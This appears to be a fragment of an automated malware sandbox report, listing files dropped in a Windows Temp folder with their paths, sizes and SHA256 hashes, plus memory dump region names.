                    • MD5 SHA1 SHA512 TLSH

                    w4q5roxe.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\w4q5roxe\w4q5roxe.dll
                    • Size 3KB
                    • SHA256 28fef26d6a9062a82e8d850db05253016f7bef6b5c15d59ef1c8909f82a7e8a4
                    • MD5 SHA1 SHA512 TLSH

                    CSC95FA70C4830E47A9945B80C7DD58669.TMP

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\m2himbbq\CSC95FA70C4830E47A9945B80C7DD58669.TMP
                    • Size 652B
                    • SHA256 02f9a01e5e3cc9e9e5b5307b0547db6982eb029d0991e3254a0da2260a8301a2
                    • MD5 SHA1 SHA512 TLSH

                    m2himbbq.0.cs

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.0.cs
                    • Size 213B
                    • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                    • MD5 SHA1 SHA512 TLSH

                    m2himbbq.cmdline

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.cmdline
                    • Size 369B
                    • SHA256 4612bc5df439caa71ac4b618970a6fbd5633c81d9920600201c96fcd991f2cf4
                    • MD5 SHA1 SHA512 TLSH

                    CSCC243B42B1AC840928E1FB390FAEFF6F4.TMP

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\w4q5roxe\CSCC243B42B1AC840928E1FB390FAEFF6F4.TMP
                    • Size 652B
                    • SHA256 7dbab9285cb0e8863efd16822646702b1ebc8e063f24cf9b679044818116c5b7
                    • MD5 SHA1 SHA512 TLSH

                    w4q5roxe.cmdline

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\w4q5roxe\w4q5roxe.cmdline
                    • Size 369B
                    • SHA256 525958cde474adcf173e82d44d73089c0861aa8f23d620572c21b585ddeaeac0
                    • MD5 SHA1 SHA512 TLSH

                    memory/3176-27-0x000001803D170000-0x000001803D18A000-memory.dmp

                    memory/3176-10-0x0000018057040000-0x0000018057050000-memory.dmp

                    memory/3176-0-0x0000018057040000-0x0000018057050000-memory.dmp

                    memory/3176-26-0x0000018057040000-0x0000018057050000-memory.dmp

                    memory/3176-24-0x0000018057040000-0x0000018057050000-memory.dmp

                    memory/3176-1-0x0000018057040000-0x0000018057050000-memory.dmp

                    memory/3176-2-0x000001803EB50000-0x000001803EB72000-memory.dmp

                    memory/3176-23-0x000001803EB80000-0x000001803EB88000-memory.dmp

                    memory/3176-25-0x0000018057040000-0x0000018057050000-memory.dmp

                    memory/4764-89-0x0000029092CF0000-0x0000029092CF8000-memory.dmp

                    memory/5012-51-0x0000013B74190000-0x0000013B746B8000-memory.dmp

                    memory/5012-28-0x0000000000400000-0x000000000047C000-memory.dmp

                    memory/5012-50-0x0000013B73A90000-0x0000013B73C52000-memory.dmp

                    memory/5012-49-0x0000013B73870000-0x0000013B738C0000-memory.dmp